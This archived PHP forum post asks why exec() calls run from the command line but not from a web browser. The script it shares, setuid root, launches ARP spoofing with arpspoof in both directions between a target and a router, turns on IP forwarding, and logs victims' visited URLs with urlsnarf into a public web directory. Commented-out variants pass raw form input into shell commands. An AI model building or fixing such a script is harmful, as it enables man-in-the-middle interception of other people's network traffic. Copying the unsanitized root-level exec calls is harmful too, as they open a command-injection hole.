sabo Posted February 9, 2009 Share Posted February 9, 2009 When I execute this code /usr/bin/php form.php it executes. When I execute from the browser it does not execute. I wonder if it is permissions. I gave it the sticky bit and it still does not execute the exec() on the system. Any Ideas? :-\ I have a web form that takes two IP addresses. It is supposed to pass these IP's to form.php -rwsr-xr-x 1 root root 485 Feb 8 18:51 form.php <?php // Pick up the form data and assign it to variables $host = $_POST['host']; $router = $_POST['router']; // verify correct assignment to variables printf($host); printf($router); // exec() is another that may work exec("echo 1 > /proc/sys/net/ipv4/ip_forward"); #exec("arpspoof -i eth0 -t $host $router"); exec("arpspoof -i eth0 -t 192.168.1.23 192.168.1.1 &"); #exec("arpspoof -i eth0 -t $router $host"); exec("arpspoof -i eth0 -t 192.168.1.1 192.168.1.23 &"); exec("urlsnarf -i eth0 >> /var/www/html/url_show"); ?> Basically nothing in exec () is executing properly on the system. Thanks for reading! Link to comment https://forums.phpfreaks.com/topic/144515-exec-help/ Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.